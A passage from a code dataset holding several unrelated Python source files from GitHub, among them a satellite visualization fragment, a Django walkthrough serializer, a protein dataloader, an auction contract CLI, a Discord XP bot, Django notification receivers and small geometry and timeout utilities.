= self.currently_transmitting[place]\n            self.comm_lines[place] = curve(pos=[self.current_coord, place_coord],\n                                            color=color.cyan)\n        self.hud.text = self.get_display_string()\n\n    def get_display_string(self):\n        disp_string = 'Date/time: ' + str(self.earth.datetime_at(self.t))\n        disp_string += \"\\nCurrent coord:{:.0f} {:.0f} {:.0f} \".format(*self.current_coord)\n        disp_string += \"\\nBattery: {:.1f}%\".format(self.current_battery/self.capacity * 100)\n        disp_string += \"\\nPower in: {:.1f} W\".format(self.e_in/self.timestep)\n        disp_string += \"\\nPower used: {} W\".format(self.e_out / self.timestep)\n\n        if self.currently_transmitting == {}:\n            disp_string += \"\\nNo communication with earth.\"\n        else:\n            disp_string += \"\\nTransmitting data to points:\"\n            for place in self.currently_transmitting.keys():\n                disp_string += \"\\n  \" + place\n        return disp_string\n\n    def set_gain(self,gain):\n        self.antenna_gain = gain\n        self.vis.set_gain(gain)\n\n    def set_cam_gain(self,gain):\n        self.cam_gain=gain\n        self.vis.set_cam_gain(gain)\n\n    def set_pos(self,new_pos):\n        self.vis.pos = new_pos\n        self.current_coord = new_pos\n        #if self.t % self.timestep * 150 == 0:\n        #    self.vis.set_length(mag(self.current_coord))\n\n    def set_orbit(self,new_orbit):\n        self.orbit = new_orbit\n        self.set_pos(self.orbit.t_to_xyz(self.t))\n\n    def toggle_collection(self):\n        self.currently_collecting = not self.currently_collecting\n        self.vis.camera_pyramid.visible = not self.vis.camera_pyramid.visible\n","repo_name":"sorenbouma/Python-Orbit-Visualization","sub_path":"sat.py","file_name":"sat.py","file_ext":"py","file_size_in_byte":8646,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"3"}
+{"seq_id":"17323562983","text":"from django.core.exceptions import ValidationError\nfrom django.core.validators import MinLengthValidator, URLValidator\nfrom rest_framework import serializers\n\nfrom trcustoms.common.fields import CustomCharField\nfrom trcustoms.levels.models import Level\nfrom trcustoms.levels.serializers import LevelNestedSerializer\nfrom trcustoms.mails import send_walkthrough_update_mail\nfrom trcustoms.tasks import update_awards\nfrom trcustoms.uploads.serializers import UploadedFileNestedSerializer\nfrom trcustoms.users.serializers import UserNestedSerializer\nfrom trcustoms.walkthroughs.consts import WalkthroughStatus, WalkthroughType\nfrom trcustoms.walkthroughs.models import Walkthrough\n\n\nclass WalkthroughAuthorSerializer(UserNestedSerializer):\n    picture = UploadedFileNestedSerializer(read_only=True)\n\n    class Meta:\n        model = UserNestedSerializer.Meta.model\n        fields = UserNestedSerializer.Meta.fields + [\n            \"picture\",\n        ]\n\n\nclass WalkthroughListingSerializer(serializers.ModelSerializer):\n    author = WalkthroughAuthorSerializer(\n        read_only=True,\n        default=serializers.CreateOnlyDefault(\n            serializers.CurrentUserDefault()\n        ),\n    )\n    level = LevelNestedSerializer(read_only=True)\n    legacy_author_name = serializers.ReadOnlyField()\n\n    status = serializers.ReadOnlyField()\n    rejection_reason = serializers.ReadOnlyField()\n\n    class Meta:\n        model = Walkthrough\n        fields = [\n            \"id\",\n            \"level\",\n            \"author\",\n            \"legacy_author_name\",\n            \"status\",\n            \"rejection_reason\",\n            \"walkthrough_type\",\n            \"text\",\n            \"created\",\n            \"last_updated\",\n        ]\n\n\nclass WalkthroughDetailsSerializer(WalkthroughListingSerializer):\n    level_id = serializers.PrimaryKeyRelatedField(\n        write_only=True, source=\"level\", queryset=Level.objects.all()\n    )\n    text = CustomCharField(\n        validators=[MinLengthValidator(0)], collapse_whitespace=False\n    )\n\n    class Meta:\n        model = Walkthrough\n        fields = WalkthroughListingSerializer.Meta.fields + [\n            \"level_id\",\n        ]\n\n    def validate(self, data):\n        validated_data = super().validate(data)\n\n        author = (\n            self.instance.author\n            if self.instance\n            else self.context[\"request\"].user\n        )\n        validated_data[\"author\"] = author\n\n        walkthrough_type = (\n            validated_data.get(\"walkthrough_type\")\n            or self.instance.walkthrough_type\n        )\n\n        level = validated_data.get(\"level\", None)\n        if (\n            level\n            and level.walkthroughs.filter(author=author)\n            .filter(walkthrough_type=walkthrough_type)\n            .exclude(id=self.instance.id if self.instance else None)\n            .exists()\n        ):\n            raise serializers.ValidationError(\n                {\n                    \"detail\": \"You have already posted a walkthrough \"\n                    \"of this type for this level.\"\n                }\n            )\n\n        if walkthrough_type == WalkthroughType.LINK:\n            validator = URLValidator()\n            try:\n                validator(validated_data.get(\"text\"))\n            except ValidationError:\n                raise serializers.ValidationError(\n                    {\"text\": [\"Enter a valid URL.\"]}\n                ) from None\n\n        return validated_data\n\n    def create(self, validated_data):\n        func = super().create\n\n        def walkthrough_factory():\n            return func(validated_data)\n\n        walkthrough = walkthrough_factory()\n        walkthrough.save()\n        update_awards.delay(walkthrough.author.pk)\n        return walkthrough\n\n    def update(self, instance, validated_data):\n        func = super().update\n\n        def walkthrough_factory():\n            return func(instance, validated_data)\n\n        walkthrough = walkthrough_factory()\n        walkthrough.save()\n        if walkthrough.status == WalkthroughStatus.APPROVED:\n            send_walkthrough_update_mail(walkthrough)\n        update_awards.delay(walkthrough.author.pk)\n        return walkthrough\n\n\nclass WalkthroughRejectionSerializer(serializers.Serializer):\n    reason = CustomCharField(collapse_whitespace=False, max_length=500)\n","repo_name":"rr-/TRCustoms","sub_path":"backend/trcustoms/walkthroughs/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":4287,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"3"}
+{"seq_id":"33550670653","text":"import math\nimport sys\nimport random\nimport numpy as np\nimport pandas as pd\nfrom scipy.spatial import KDTree\nimport torch\nfrom torch.utils import data\nimport torch.nn.functional as F\nfrom torch.nn.utils.rnn import pad_sequence\n\nsys.path.append('../../../atom3d')\nimport atom3d.shard.shard as sh\n\nPROT_ATOMS = ('C', 'O', 'N', 'S', 'P')\nRES_LABEL = ('LEU', 'ILE', 'VAL', 'TYR', 'ARG', 'GLU', 'PHE', 'ASP', 'THR', 'LYS', \n             'ALA', 'GLY', 'TRP', 'SER', 'PRO', 'ASN', 'GLN', 'HIS', 'MET', 'CYS')\nWEIGHT_P = 1.4\n\nclass ResDel_Dataset(data.IterableDataset):\n    def __init__(self, sharded, max_radius=10.0, seed=131313):\n        self.sharded = sh.Sharded(sharded, None)\n        self.num_shards = self.sharded.get_num_shards()\n        self.seed = seed\n        self.max_radius = max_radius\n\n    def __iter__(self):\n        worker_info = torch.utils.data.get_worker_info()\n        if worker_info is None:  # single-process data loading, return the full iterator\n            gen = dataset_generator(self.sharded, range(self.num_shards), \n                      self.max_radius, shuffle=True)\n\n        else:  # in a worker process, split workload\n            per_worker = int(math.ceil(self.num_shards / float(worker_info.num_workers)))\n            worker_id = worker_info.id\n            iter_start = worker_id * per_worker\n            iter_end = min(iter_start + per_worker, self.num_shards)\n            gen = dataset_generator(self.sharded, range(self.num_shards)[iter_start:iter_end],\n                      self.max_radius, shuffle=True)\n        return gen\n\n\nclass AtomEnvironment:\n    def __init__(self, pos, label, class_weights):\n        self.pos = pos\n        self.label = label\n        self.class_weights = class_weights\n\n\nclass DataLoader(data.DataLoader):\n    r\"\"\"Data loader which merges data objects from a\n    :class:`torch_geometric.data.dataset` to a mini-batch.\n    Args:\n        dataset (Dataset): The dataset from which to load the data.\n        batch_size (int, optional): How many samples per batch to load.\n            (default: :obj:`1`)\n        shuffle (bool, optional): If set to :obj:`True`, the data will be\n            reshuffled at every epoch. (default: :obj:`False`)\n        follow_batch (list or tuple, optional): Creates assignment batch\n            vectors for each key in the list. (default: :obj:`[]`)\n    \"\"\"\n\n    def __init__(self, dataset, batch_size=1, shuffle=False, **kwargs):\n        super(DataLoader,\n              self).__init__(dataset, batch_size, shuffle,\n                             collate_fn=custom_collate, **kwargs)\n\n\ndef dataset_generator(sharded, shard_indices, max_radius, shuffle=True):\n    \"\"\"\n    Generate grids from sharded dataset\n    \"\"\"\n\n    for shard_idx in shard_indices:\n        shard = sharded.read_shard(shard_idx)\n        if shuffle:\n            groups = [df for _, df in shard.groupby(['ensemble', 'subunit'])]\n            random.shuffle(groups)\n            shard = pd.concat(groups).reset_index(drop=True)\n\n        for e, target_df in shard.groupby(['ensemble', 'subunit']):\n            _, subunit = e\n            res_name = subunit.split('_')[-1]\n            label = RES_LABEL.index(res_name)\n            protein = df_to_graph(target_df, subunit, label, max_radius)\n            if protein is None:\n                continue\n\n            yield protein\n\n\ndef df_to_graph(struct_df, chain_res, label, max_radius):\n    \"\"\"\n    label: residue label (int)\n    chain_res: chain ID_residue ID_residue name defining center residue\n    struct_df: Dataframe with entire environment\n    \"\"\"\n    chain, resnum, _ = chain_res.split('_')\n    res_df = struct_df[(struct_df.chain == chain) & (struct_df.residue.astype(str) == resnum)]\n    if 'CA' not in res_df.name.tolist():\n        return None\n    CA_pos = res_df[res_df['name']=='CA'][['x', 'y', 'z']].astype(np.float32).to_numpy()[0]\n    kd_tree = KDTree(struct_df[['x','y','z']].to_numpy())\n    neighbors_pt_idx = kd_tree.query_ball_point(CA_pos, r=max_radius, p=2.0)\n    neighbors_df = struct_df.iloc[neighbors_pt_idx].reset_index(drop=True)\n\n    atom_pos = neighbors_df[['x', 'y', 'z', 'element']].to_numpy()\n    atom_pos[..., :3] = atom_pos[..., :3] - CA_pos\n    \n    for i in range(len(atom_pos)):\n        if atom_pos[i][3] in PROT_ATOMS:\n            atom_pos[i][3] = PROT_ATOMS.index(atom_pos[i][3])\n        else:\n            atom_pos[i][3] = len(PROT_ATOMS)\n\n    count_keys = struct_df['resname'].value_counts().keys().to_numpy()\n    count_values = struct_df['resname'].value_counts().to_numpy()\n    class_weights = torch.zeros(len(RES_LABEL))\n    for i, value in enumerate(count_values):\n        if count_keys[i] in RES_LABEL:\n            class_weights[RES_LABEL.index(count_keys[i])] = 1/(float(value))**WEIGHT_P\n    class_weights = F.normalize(class_weights, p=1, dim=0)\n\n    return AtomEnvironment(torch.tensor(atom_pos.astype(np.float32)), label, class_weights)\n            \n\ndef custom_collate(data_list):\n    pos = pad_sequence([atom_env.pos for atom_env in data_list]).permute(1, 0, 2)\n    labels = torch.tensor([atom_env.label for atom_env in data_list])\n    class_weights = torch.cat([atom_env.class_weights.unsqueeze(-1) for atom_env in data_list], dim=-1).permute(1, 0)\n\n    return AtomEnvironment(pos, labels, class_weights)","repo_name":"drorlab/gert","sub_path":"src/atom3d_combined/data/res/res_dataloader.py","file_name":"res_dataloader.py","file_ext":"py","file_size_in_byte":5250,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"3"}
+{"seq_id":"3598263002","text":"import argparse\nimport json\n\nimport logging\nlogger = logging.getLogger(__name__)\n\nfrom pdo.client.controller.commands.send import send_to_contract\nfrom pdo.client.controller.util import *\nfrom pdo.contract import invocation_request\n\n## -----------------------------------------------------------------\n## -----------------------------------------------------------------\ndef __command_auction__(state, bindings, pargs) :\n    \"\"\"controller command to interact with an auction contract\n    \"\"\"\n\n    parser = argparse.ArgumentParser(prog='auction')\n    parser.add_argument('-e', '--enclave', help='URL of the enclave service to use', type=str)\n    parser.add_argument('-f', '--save-file', help='File where contract data is stored', type=str)\n    parser.add_argument('-q', '--quiet', help='Suppress printing the result', action='store_true')\n    parser.add_argument('-w', '--wait', help='Wait for the transaction to commit', action='store_true')\n\n    subparsers = parser.add_subparsers(dest='command')\n\n    subparser = subparsers.add_parser('get_signing_key')\n    subparser.add_argument('-s', '--symbol', help='binding symbol for result', type=str)\n\n    subparser = subparsers.add_parser('initialize')\n    subparser.add_argument('-k', '--key', help='public key of the asset contract', type=str, required=True)\n\n    subparser = subparsers.add_parser('prime')\n    subparser.add_argument('-a', '--attestation', help='Escrow attestation from the asset ledger', type=invocation_parameter, required=True)\n\n    subparser = subparsers.add_parser('submit_bid')\n    subparser.add_argument('-a', '--attestation', help='Escrow attestation from the asset ledger', type=invocation_parameter, required=True)\n\n    subparser = subparsers.add_parser('get_offered_asset')\n    subparser = subparsers.add_parser('cancel_bid')\n    subparser = subparsers.add_parser('check_bid')\n\n    subparser = subparsers.add_parser('max_bid')\n    subparser.add_argument('-s', '--symbol', help='binding symbol for result', type=str)\n\n    subparser = subparsers.add_parser('close_bidding')\n\n    subparser = subparsers.add_parser('exchange_attestation')\n    subparser.add_argument('-s', '--symbol', help='binding symbol for result', type=str)\n\n    subparser = subparsers.add_parser('cancel_attestation')\n    subparser.add_argument('-s', '--symbol', help='binding symbol for result', type=str)\n\n    options = parser.parse_args(pargs)\n\n    extraparams={'quiet' : options.quiet, 'wait' : options.wait}\n\n    if options.command == 'get_signing_key' :\n        message = invocation_request('get-public-signing-key')\n        result = send_to_contract(state, options.save_file, message, eservice_url=options.enclave, **extraparams)\n        if result and options.symbol :\n            bindings.bind(options.symbol, result)\n        return\n\n    if options.command == 'initialize' :\n        message = invocation_request('initialize', options.key)\n        send_to_contract(state, options.save_file, message, eservice_url=options.enclave, **extraparams)\n        return\n\n    if options.command == 'prime' :\n        assert type(options.attestation) is list\n        assert len(options.attestation) == 3\n\n        bidinfo = options.attestation[0]\n        dependencies = options.attestation[1]\n        signature = options.attestation[2]\n        message = invocation_request('prime-auction*', bidinfo, dependencies, signature)\n        send_to_contract(state, options.save_file, message, eservice_url=options.enclave, **extraparams)\n        return\n\n    if options.command == 'submit_bid' :\n        assert type(options.attestation) is list\n        assert len(options.attestation) == 3\n\n        bidinfo = options.attestation[0]\n        dependencies = options.attestation[1]\n        signature = options.attestation[2]\n        message = invocation_request('submit-bid*',bidinfo, dependencies, signature)\n        send_to_contract(state, options.save_file, message, eservice_url=options.enclave, **extraparams)\n        return\n\n    if options.command == 'get_offered_asset' :\n        message = invocation_request('get-offered-asset')\n        send_to_contract(state, options.save_file, message, eservice_url=options.enclave, **extraparams)\n        return\n\n    if options.command == 'cancel_bid' :\n        message = invocation_request('cancel-bid')\n        send_to_contract(state, options.save_file, message, eservice_url=options.enclave, **extraparams)\n        return\n\n    if options.command == 'check_bid' :\n        message = invocation_request('check-bid')\n        send_to_contract(state, options.save_file, message, eservice_url=options.enclave, **extraparams)\n        return\n\n    if options.command == 'max_bid' :\n        message = invocation_request('max-bid')\n        result = send_to_contract(state, options.save_file, message, eservice_url=options.enclave, **extraparams)\n        if options.symbol :\n            bindings.bind(options.symbol, result)\n        return\n\n    if options.command == 'close_bidding' :\n        message = invocation_request('close-bidding')\n        send_to_contract(state, options.save_file, message, eservice_url=options.enclave, **extraparams)\n        return\n\n    if options.command == 'cancel_attestation' :\n        message = invocation_request('cancel-attestation')\n        result = send_to_contract(state, options.save_file, message, eservice_url=options.enclave, **extraparams)\n        if options.symbol :\n            bindings.bind(options.symbol, json.dumps(result))\n        return\n\n    if options.command == 'exchange_attestation' :\n        message = invocation_request('exchange-attestation')\n        result = send_to_contract(state, options.save_file, message, eservice_url=options.enclave, **extraparams)\n        if options.symbol :\n            bindings.bind(options.symbol, json.dumps(result))\n        return\n\n## -----------------------------------------------------------------\n## -----------------------------------------------------------------\ndef do_auction(self, args) :\n    \"\"\"\n    auction -- invoke integer key commands\n    \"\"\"\n\n    try :\n        pargs = self.__arg_parse__(args)\n        __command_auction__(self.state, self.bindings, pargs)\n    except SystemExit as se :\n        return self.__arg_error__('auction', args, se.code)\n    except Exception as e :\n        return self.__error__('auction', args, str(e))\n\n    return False\n\n## -----------------------------------------------------------------\n## -----------------------------------------------------------------\ndef load_commands(cmdclass) :\n    setattr(cmdclass, 'do_auction', do_auction)\n","repo_name":"Yeuman/project4","sub_path":"common/crypto/pdo/contracts/auction/integer-key-auction.py","file_name":"integer-key-auction.py","file_ext":"py","file_size_in_byte":6525,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"39513074320","text":"import os\nimport discord\nfrom discord import app_commands\nfrom config import get_settings\nfrom discord.ext import commands\nfrom discord.ext.commands.context import Context\nfrom discord import Message, Guild\nfrom src.models.user_model import UserModel\n\nfrom src.db.database import db_instance\n\nfrom dotenv import load_dotenv\n\nload_dotenv()\n\nDEBUG = get_settings().DEBUG\nBOT_TOKEN = get_settings().BOT_TOKEN\n\nclass MyClient(commands.Bot):\n    async def on_ready(self):\n        try:\n            synced = await self.tree.sync()\n            print(f\"Synced {len(synced)} command(s)\")\n            for command in synced:\n                print(f\"Command: {command}\")\n        except Exception as e:\n            print(e)\n            exit()\n        print(\"------\")\n        print(f\"Logged in as {self.user} (ID: {self.user.id})\")\n        print(\"------\")\n        for guild in self.guilds:\n            collection = db_instance.get_collection(str(guild.id))\n            print(f\"--- {guild.name} ---\")\n            for member in guild.members:\n                find = collection.find_one({\"id\": str(member.id)})\n                if find is None and not member.bot:\n                    user = UserModel(member.name, str(member.id))\n                    collection.insert_one(user.__dict__)\n                print(member)\n            print(f\"--- end ---\\n\\n\")\n        print(\"--- Ready ---\")\n\n    async def setup_hook(self):\n        for extension in cogs:\n            await self.load_extension(extension)\n\n    async def on_guild_join(self, guild: Guild):\n        for channel in guild.text_channels:\n            print(channel.name)\n            if channel.permissions_for(guild.me).send_messages:\n                await channel.send(f\"Olá, {guild.name}, eu sou Jotchua!\")\n            break\n\n    async def on_message(self, message: Message):\n        author = message.author\n        if not author.bot:\n            collection = db_instance.get_collection(str(message.guild.id))\n            user = collection.find_one({\"id\": str(author.id)})\n            if user is None:\n                user = UserModel(author.name, str(author.id))\n                collection.insert_one(user.__dict__)\n            else:\n                del user[\"_id\"]\n                user = UserModel(**user)\n                user.add_xp(5)\n                collection.update_one({\"id\": str(author.id)}, {\"$set\": user.__dict__})\n        await self.process_commands(message)\n\nintents = discord.Intents.default()\nintents.members = True\nintents.message_content = True\ncommand_prefix = [\"jot!\", \"j!\"]\n\ncogs = [\"src.comandos.basic\", \"src.comandos.social\", \"src.comandos.rp\"]\n\nclient = MyClient(intents=intents, command_prefix=command_prefix)\nclient.run(BOT_TOKEN)\n","repo_name":"pedrozle/jotchua-bot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2694,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"3"}
+{"seq_id":"36465976891","text":"import time\n\nfrom django.dispatch import receiver\nfrom django.conf import settings\nfrom django.urls import reverse\nfrom django.utils import timezone\n\nfrom . import models\nfrom . import signals\n\nfrom django_slack import slack_message\nfrom django.core.mail import send_mail\n\n@receiver(signals.revoked_profile)\ndef email_revoked_profile(sender, username, organisation, email, reason, **kwargs):\n    send_mail(\n        '[majora@climb] Your account has been closed',\n        '''You're receiving this email because your %s account (username %s) has been closed.\n\n        As a result of this:\n        * You will no longer be able to use your Majora account to access data.\n        * You will be unable to access CLIMB systems with SSH or upload files with rsync.\n        * Any API requests you send will now be rejected.\n\n        If you do not believe this should have happened, please contact %s as soon as possible. Do not contact the CLIMB team or #account-requests with requests to be reactivated.\n        ''' % (settings.INSTANCE_NAME, username, \"the accounts team (%s)\" % settings.MAJORA_ACCOUNT_MAIL if hasattr(settings, \"MAJORA_ACCOUNT_MAIL\") and len(settings.MAJORA_ACCOUNT_MAIL) > 0 else \"your site lead\"),\n        None,\n        [email],\n        fail_silently=True,\n    )\n    if settings.SLACK_CHANNEL:\n        slack_message('slack/blank', {\n        }, [{\n            \"mrkdwn_in\": [\"text\", \"pretext\", \"fields\"],\n            \"title\": \"User profile revoked\",\n            \"title_link\": \"\",\n            \"text\": \"Access for %s has been revoked\" % (username),\n            \"footer\": \"Revocation spotted by Majora\",\n            \"footer_icon\": \"https://avatars.slack-edge.com/2019-05-03/627972616934_a621b7d3a28c2b6a7bd1_512.jpg\",\n\n            \"fields\": [\n                {\n                    \"title\": \"Metadata\",\n                    \"short\": False\n                },\n                {\n                    \"title\": \"Email\",\n                    \"short\": True\n                },\n                {\n                    \"value\": email,\n                    \"short\": True\n                },\n                {\n                    \"title\": \"Org Code\",\n                    \"short\": True\n                },\n                {\n                    \"value\": organisation,\n                    \"short\": True\n                },\n                {\n                    \"title\": \"Reason\",\n                    \"short\": True\n                },\n                {\n                    \"value\": reason,\n                    \"short\": True\n                },\n            ],\n            \"ts\": int(time.time()),\n        }])\n\n@receiver(signals.new_registration)\ndef recv_new_registration(sender, username, first_name, last_name, organisation, email, **kwargs):\n    from django.contrib.auth.models import User, Permission\n    perm = Permission.objects.get(codename='can_approve_profiles')\n    site_admins = models.Profile.objects.filter(user__user_permissions=perm, institute__name=organisation) # TODO works for users specifically given this perm\n    send_mail(\n        '[majora@climb] A user has requested access to Majora for your organisation',\n        '''You're receiving this email because %s %s has requested a %s account and you are responsible for approving accounts for your organisation.\n        Please verify the user and if the request is valid, approve the request from Majora: %s/%s\n        ''' % (first_name, last_name, settings.INSTANCE_NAME, settings.SITE_URL if hasattr(settings, \"SITE_URL\") else \"\", reverse('list_site_profiles')),\n        None,\n        [p.user.email for p in site_admins],\n        fail_silently=True,\n    )\n    if settings.SLACK_CHANNEL:\n        slack_message('slack/blank', {\n        }, [{\n            \"mrkdwn_in\": [\"text\", \"pretext\", \"fields\"],\n            \"title\": \"New user registration WAITING for approval by site\",\n            \"title_link\": \"\",\n            \"text\": \"%s %s (%s) requested account %s to be added\" % (first_name, last_name, organisation, username),\n            \"footer\": \"New user spotted by Majora\",\n            \"footer_icon\": \"https://avatars.slack-edge.com/2019-05-03/627972616934_a621b7d3a28c2b6a7bd1_512.jpg\",\n\n            \"fields\": [\n                {\n                    \"title\": \"Metadata\",\n                    \"short\": False\n                },\n                {\n                    \"title\": \"Email\",\n                    \"short\": True\n                },\n                {\n                    \"value\": email,\n                    \"short\": True\n                },\n                {\n                    \"title\": \"Organisation\",\n                    \"short\": True\n                },\n                {\n                    \"value\": organisation,\n                    \"short\": True\n                },\n                {\n                    \"title\": \"Approvers\",\n                    \"short\": True\n                },\n                {\n                    \"value\": str([\"%s %s\" % (x.user.first_name, x.user.last_name) for x in site_admins]),\n                    \"short\": True\n                },\n            ],\n            \"ts\": int(time.time()),\n        }])\n\n@receiver(signals.new_sample)\ndef recv_new_sample(sender, sample_id, submitter, **kwargs):\n    if settings.SLACK_CHANNEL:\n        slack_message('slack/blank', {\n        }, [{\n            \"text\": \"Sample %s uploaded from %s\" % (sample_id, submitter),\n            #\"footer\": \"New sample spotted by Majora\",\n            #\"footer_icon\": \"https://avatars.slack-edge.com/2019-05-03/627972616934_a621b7d3a28c2b6a7bd1_512.jpg\",\n            #\"ts\": int(time.time()),\n        }])\n\n@receiver(signals.site_approved_registration)\ndef recv_site_approval(sender, approver, approved_profile, **kwargs):\n    from tatl.models import TatlPermFlex\n    treq = TatlPermFlex(\n        user = sender.user,\n        substitute_user = None,\n        used_permission = \"can_approve_profiles\",\n        timestamp = timezone.now(),\n        content_object = approved_profile,\n    )\n    treq.save()\n    if settings.SLACK_CHANNEL:\n        slack_message('slack/blank', {\n        }, [{\n            \"mrkdwn_in\": [\"text\", \"pretext\", \"fields\"],\n            \"title\": \"New user registration approved by site\",\n            \"title_link\": \"\",\n            \"text\": \"%s %s (%s) requested account %s to be added\" % (approved_profile.user.first_name, approved_profile.user.last_name, approved_profile.institute.name, approved_profile.user.username),\n            \"footer\": \"New user spotted by Majora\",\n            \"footer_icon\": \"https://avatars.slack-edge.com/2019-05-03/627972616934_a621b7d3a28c2b6a7bd1_512.jpg\",\n\n            \"fields\": [\n                {\n                    \"title\": \"Metadata\",\n                    \"short\": False\n                },\n                {\n                    \"title\": \"User\",\n                    \"short\": True\n                },\n                {\n                    \"value\": approved_profile.user.username,\n                    \"short\": True\n                },\n                {\n                    \"title\": \"Name\",\n                    \"short\": True\n                },\n                {\n                    \"value\": \"%s %s\" % (approved_profile.user.first_name, approved_profile.user.last_name),\n                    \"short\": True\n                },\n                {\n                    \"title\": \"Email\",\n                    \"short\": True\n                },\n                {\n                    \"value\": approved_profile.user.email,\n                    \"short\": True\n                },\n                {\n                    \"title\": \"Organisation\",\n                    \"short\": True\n                },\n                {\n                    \"value\": approved_profile.institute.name,\n                    \"short\": True\n                },\n                {\n                    \"title\": \"Approver\",\n                    \"short\": True\n                },\n                {\n                    \"value\": \"%s %s\" % (approver.first_name, approver.last_name),\n                    \"short\": True\n                },\n            ],\n            \"ts\": int(time.time()),\n        }])\n\n@receiver(signals.activated_registration)\ndef recv_activated_registration(sender, username, email, **kwargs):\n    send_mail(\n        '[majora@climb] Your access request has been approved',\n        '''You're receiving this email because you requested a %s account. Your request has been approved.\n        Your username is %s\n\n        Please find guidance on using our systems and providing data via: https://docs.covid19.climb.ac.uk/.\n        ''' % (settings.INSTANCE_NAME, username),\n        None,\n        [email],\n        fail_silently=False,\n    )\n","repo_name":"SamStudio8/majora2","sub_path":"majora2/receivers.py","file_name":"receivers.py","file_ext":"py","file_size_in_byte":8566,"program_lang":"python","lang":"en","doc_type":"code","stars":36,"dataset":"github-code","pt":"3"}
+{"seq_id":"22888072703","text":"import disnake\nfrom disnake.ext import commands\nimport pathlib\nimport os\nfrom permissions import admin_permission_required\n\n\nclass HelpModule(commands.Cog):\n    def __init__(self, bot: commands.Bot):\n        self.bot = bot\n\n    @commands.command()\n    async def help(self, ctx, command_name=None):\n        help_embed = disnake.Embed(title=' ', colour=0x00FF80)\n        functions = [{'use': 'h.fry {жертва} {на сколько кусочков нарезать}',\n                      'desc': '**Хотите кого-то зажарить? Приятного аппетита!**'}]\n        for command in functions:\n            help_embed.add_field(name=command['desc'], value=command['use'], inline=False)\n        help_embed.add_field(value='Знания о остальных командах вы должны добыть в бою',\n                             name='Остальные команды:', inline=False)\n        help_embed.set_author(name=self.bot.user.name, icon_url=self.bot.user.display_avatar.url)\n        await ctx.send(embed=help_embed)\n\n    @commands.command()\n    @admin_permission_required\n    async def admin_help(self, ctx, command_name=None):\n        if command_name is not None:\n            help_texts = os.listdir('help_texts')\n            if f'{command_name}.txt' in help_texts:\n                path = pathlib.Path('help_texts', f'{command_name}.txt')\n                with open(path, 'r', encoding='utf-8') as text:\n                    help_text = ''.join(text.readlines())\n            else:\n                if command_name in self.bot.all_commands:\n                    help_text = '`Команда существует, но справка для неё отсутствует`'\n                else:\n                    help_text = '`Команда не найдена`'\n            help_embed = disnake.Embed(title=f'Помощь для команды {command_name}', colour=0xFFFFFF,\n                                       description=help_text)\n            await ctx.send(embed=help_embed)\n\n        else:\n            comm = self.bot.all_commands\n            help_text = '\\n'.join(comm)\n            help_embed = disnake.Embed(title=f'Список команд', colour=0xFFFFFF, description=help_text)\n            await ctx.send(embed=help_embed)\n\n\ndef setup(bot):\n    bot.add_cog(HelpModule(bot))\n","repo_name":"KapitanN3mo/HorizonBot","sub_path":"extensions/help.py","file_name":"help.py","file_ext":"py","file_size_in_byte":2346,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"24133066565","text":"from datetime import timedelta\nimport signal\n\n\nclass TimeoutException(Exception):\n    pass\n\n\ndef are_rectangles_overlapping(rect1, rect2):\n    \"\"\"Returns `True` if two rectangles are overlapping.\n\n    >>> rectangle1 = (0, 0, 10, 10)\n    >>> rectangle2 = (0, 10, 20, 20)\n    >>> rectangle3 = (11, 11, 20, 20)\n    >>> assert are_rectangles_overlapping(rectangle1, rectangle2)\n    >>> assert are_rectangles_overlapping(rectangle2, rectangle3)\n    >>> assert not are_rectangles_overlapping(rectangle1, rectangle3)\n    \"\"\"\n    try:\n        f1_x1, f1_x2 = rect1[0], rect1[0] + rect1[2]\n        f1_y1, f1_y2 = rect1[1], rect1[1] + rect1[3]\n\n        f2_x1, f2_x2 = rect2[0], rect2[0] + rect2[2]\n        f2_y1, f2_y2 = rect2[1], rect2[1] + rect2[3]\n    except (TypeError, IndexError):\n        msg = \"Both parameters must be list-like elements with >=4 elements.\"\n        raise AttributeError(msg)\n\n    op_x1 = f1_x1 <= f2_x1 <= f1_x2\n    op_x2 = f2_x1 <= f1_x1 <= f2_x2\n    op_x = op_x1 or op_x2\n\n    op_y1 = f2_y1 <= f1_y1 <= f2_y2\n    op_y2 = f1_y1 <= f2_y1 <= f1_y2\n    op_y = op_y1 or op_y2\n\n    return op_x and op_y\n\n\nclass timeout(object):\n    \"\"\"A context manager designed to abort an action after given amount of\n    time. It takes the same arguments as datetime.timedelta class. Here's a\n    functional example:\n\n    >>> import time\n    >>> start_time = time.time()\n    >>> with timeout(seconds=1): \\\n            time.sleep(3)\n    >>> end_time = time.time()\n    >>> assert (end_time - start_time) < 2\n    \"\"\"\n    def __init__(self, raise_exception=False, **kwargs):\n        self.old_handler = None\n        self.raise_exception = raise_exception\n        self.seconds = timedelta(**kwargs).seconds\n\n    def __enter__(self):\n        self.old_handler = signal.getsignal(signal.SIGALRM)\n        signal.signal(signal.SIGALRM, self.new_handler)\n        signal.alarm(self.seconds)\n\n    def __exit__(self, exc_type, exc_value, traceback):\n        signal.alarm(0)\n        signal.signal(signal.SIGALRM, self.old_handler)\n\n        is_timeout = exc_type and exc_type != TimeoutException\n        if not self.raise_exception and is_timeout:\n            return False\n        return True\n\n    @staticmethod\n    def new_handler(signo, frame):\n        raise TimeoutException()\n\n\nif __name__ == \"__main__\":\n    import doctest\n    doctest.testmod()\n","repo_name":"nikolaik/printermood","sub_path":"printermood/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2328,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"3"}
